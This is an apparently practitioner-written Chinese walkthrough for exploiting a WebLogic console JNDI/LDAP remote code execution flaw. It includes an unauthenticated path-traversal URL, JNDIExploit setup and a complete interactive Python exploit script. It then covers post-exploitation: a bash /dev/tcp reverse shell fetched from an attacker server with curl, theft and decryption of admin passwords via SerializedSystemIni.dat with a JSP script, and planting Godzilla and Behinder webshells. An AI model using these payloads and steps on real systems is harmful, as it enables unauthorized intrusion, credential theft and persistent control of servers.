漏洞影响
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
漏洞复现
访问一下URL http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252f/consolejndi.portal
如果有此页面未授权可访问,且在影响范围内则可能出现漏洞
下载漏洞攻击需要的 LDAP启动脚本
https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11 #下载地址
unzip JNDIExploit.v1.11.zip
java -jar JNDIExploit.v1.11.jar -i xxx.xxx.xxx.xxx #启动
服务器启动,注意放行服务器端口,切jdk版本为低版本,我用到jdk8
java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx (服务器地址)
然后配合 Weblogic未授权范围 命令执行
/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
注意 ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho 这里 LDAP服务器地址第三个分隔符号为 ;
登录后台可使用此POC,未授权的话用上面的
/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
漏洞利用POC
peiqi文库中的
import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Weblogic 多个版本 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mLDAP >>> ldap://xxx.xxx.xxx;xxx:1389 \033[0m')
print('+------------------------------------------')
def POC_1(target_url, ldap_url, cmd):
vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
print('\033[36m[o] 正在请求: {}'.format(vuln_url))
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cmd": cmd
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "root:" in response.text:
print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 命令执行失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)
def POC_2(target_url, ldap_url, cmd):
vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
print('\033[36m[o] 正在请求: {}'.format(vuln_url))
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cmd": cmd
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] 响应为:\n{} \033[0m".format(response))
except Exception as e:
print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
ldap_url = str(input("\033[35mLdap >>> \033[0m"))
POC_1(target_url, ldap_url, cmd="cat /etc/passwd")
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
sys.exit(0)
else:
POC_2(target_url, ldap_url, cmd)
深入系列一、反弹shell
第一步 准备shell
先写一个反弹shell的 sh在vps上
内容:
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8080 0>&1
然后开启监听
nc -lvnp 8080
接着开启一个http服务
python3 -m http.server 8000
第二步 把shell下载到被攻击机器上
curl -o /target/path/filename http://xxx.xxx.xxx.xxx.:8080/1.sh
或者
curl -L http://xxx.xxx.xxx.xxx:8080/1.sh -o /target/path/filename
请求包:
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.0.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd:curl -o /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/1.sh http://xxx.xxx.xxx.xxx:8000/1.sh
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1
第三步 反弹shell
进行bash反弹
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.0.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd:bash /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/1.sh
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1
成功反弹到shell
深入系列二、通过下载SerializedSystemIni.da文件解密weblogic账号密码
第一步 找到账号密码和解密文件
账号密码位置:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/security
SerializedSystemIni.dat文件位置
/u01/oracle/user_projects/domains/base_domain/security
第二步 找到web目录
war目录一般存在的位置
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war
将 SerializedSystemIni.dat 拷贝到 war目录
第三步 下载SerializedSystemIni.dat 并解密
访问 http://192.168.10.53:7001/bea_wls_internal/SerializedSystemIni.dat 将文件下载下来
使用解密工具解密
tips:如果AES加密后的密码为:{AES}Nu2LEjo0kxMEd4G5L9bYLE5wI5fztbgeRpFec9wsrcQ\=
破解时需要把后面的\给去掉,不然会执行报错。
这个坑…栽了两天,还是用另外一种方法的时候,发现我的错误
深入系列三、上传webshell
由于反弹的shell 不够持久,所以想上传个webshell
第一步 在自己服务器上上传一个马,并且开启下载
哥斯拉马
开启http服务
第二步 下载文件到被攻击者目录下
目录为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war
打开http://192.168.10.53:7001/bea_wls_internal/shell.jsp 能成功解析说明存在
tips:如果不确定下载成功没,可以先在服务器上写一个 1.txt 内容随便写 比如:111。 然后下载到被攻击服务器的web目录上,访问看是否能显示内容
第四步 使用冰蝎连接
深入系列四、通过上传解密脚本进行解密(对深入系列二的补充)
第一步:查看weblogic的密文
第二步:编辑解密文件,并放在另外一台linux上,并开启http服务
下载地址:
Tools7-get_wls_pwd2
<%@page pageEncoding="utf-8"%>
<%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%>
<%
EncryptionService es = null;
ClearOrEncryptedService ces = null;
String s = null;
s="{AES}jZaFirdpzkH727wJt82Xc0QtuHsEuMsvyqcLkjRz/vY=";
es = SerializedSystemIni.getEncryptionService();
if (es == null) {
out.println("Unable to initialize encryption service");
return;
}
ces = new ClearOrEncryptedService(es);
if (s != null) {
out.println("\nDecrypted Password is:" + ces.decrypt(s));
}
%>
第三步:通过curl下载到被攻击机器的web目录下
curl -o /target/webpath/filename http://xxx.xxx.xxx.xxx.:8080/1.sh
第四步:访问url查看密码
成功登录
思考&小总结
这个漏洞研究了两三天,前期反弹shell挺顺利的,但是遇到其他问题了。
- 深入系列二中,尝试解密weblogic账号密码出了问题,有的环境会因为
SerializedSystemIni.dat
文件为二进制文件,直接使用浏览器下载可能遭到破坏(但是我也尝试tar打包下载出来,但是文件也出问题了),所以我在深入系列四中换了另外一种思路进行解密。 - 碰到的实战中把
SerializedSystemIni.dat
文件和下载马子到web目录后,通过web无法访问到,这样的话深入系列四也无法进行。因此当web目录无法访问的时候,想要解密console的密码或者拿到webshell 就比较难了。 等后续有时间了会继续摸索其他方法,尝试获取到webshell(因为反弹的shell不持久…)
参考文章
http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Weblogic/Weblogic%20LDAP%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2021-2109.html?h=cve-2021-2109
https://www.freebuf.com/articles/web/220147.html
https://mp.weixin.qq.com/s/fhf86-FCic2qAkcThvabeQ